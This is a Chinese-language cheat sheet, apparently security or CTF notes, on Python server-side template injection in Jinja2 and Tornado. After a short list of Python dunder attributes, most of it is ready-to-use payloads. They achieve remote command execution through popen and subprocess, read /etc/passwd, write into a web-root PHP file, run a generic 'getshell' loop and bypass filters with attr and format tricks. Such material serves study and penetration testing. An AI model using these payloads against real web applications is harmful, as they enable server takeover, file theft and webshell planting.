#py的内置属性,模块等
- __base__:类对象的属性,返回当前类的直接父类字符串。可以用来获取Object类。
- __bases__:类对象的属性,返回当前类的直接父类元组。可以用来获取Object类。
- __mro__:类对象的属性,返回一个元组,存有类的“方法解析顺序”,可以简单的理解成这个类构造的链(类比js原型链)。可以用来获取Object类。
- __subclasses__():类对象的属性,返回当前类的所有直接子类列表。可以用来获取可利用的类。
- __class__:各种对象的属性,返回它的所属类。可以用来连接到类对象,方便后续操作。
- __init__:类对象都有的函数(初始化函数)。可以用来间接获取__globals__。
- __globals__:函数的属性,返回当前函数所处空间下可使用的module、方法以及所有变量。可以用来获取可利用的类(如os)。
- __dict__:类对象或类实例的属性,查看对象内部所有属性名和属性值组成的字典。可以用来获取可利用的类。
- __builtins__:内建模块,用于定义内建命名空间,使得我们可以使用内建命名空间中定义的函数。可以利用这个模块导入一些模块到内建命名空间中加以利用(如os)
- __import__:魔术方法,用于导入模块,常配合__builtins__导入os模块
#常用通用类及语句
- 利用warnings.catch_warnings配合__builtins__得到eval函数借此进行rce
# 注意__subclasss__的元素索引需要根据实际修改
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()}}
- 利用os._wrap_close类所属空间下可用的popen函数进行RCE
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
- 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
- 利用__import__导入os模块进行利用
{{"".__class__.__bases__.__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
- 利用linecache类所属空间下可用的os模块进行RCE的payload
{{"".__class__.__bases__.__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
- 利用file类(仅python2可用)进行文件读入
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
- 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}} {% endif %}{% endfor %}
- 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('var/www/html/a.php', 'r').write("") }}{% endif %}{% endfor %}
#jinja2模板的特征
- 有一个config环境配置变量
- 通过config向上得到os进行ssti
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
#tornado模板的特征
- 存在handler,即当前的RequestHandler对象,也是tornado中HTTP请求处理的基类,利用这个基类也可以结合py本身的特质进行注入
- handler的一些属性与方法
{{handler.get_argument('yu')}} #比如传入?yu=123则返回值为123
{{handler.cookies}} #返回cookie值
{{handler.get_cookie("data")}} #返回cookie中data的值
{{handler.decode_argument('\u0066')}} #返回f,其中\u0066为f的unicode编码
{{handler.get_query_argument('yu')}} #比如传入?yu=123则返回值为123
{{handler.settings}} #比如传入application.settings中的值
#handler.setting可以优先考虑查看。
- 存在request对象,以下是其常用属性
{{request.method}} //返回请求方法名 GET|POST|PUT...
{{request.query}} //传入?a=123 则返回a=123
{{request.arguments}} //返回所有参数组成的字典
{{request.cookies}} //同{{handler.cookies}}
- 一些过滤的绕过
{{eval(handler.get_argument(request.method))}}
#传入GET=__import__("os").popen("ls").read(), 绕过对引号的过滤
#过滤器
- attr
用于获取变量:
""|attr("__class__")
# 相当于
"".__class__
- format
格式化字符串:
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
# __class__
- first last random
取第一个/最后一个/随机一个对象
"".__class__.__mro__|last()
# CFV )相当于
"".__class__.__mro__[-1]
参考~🥰: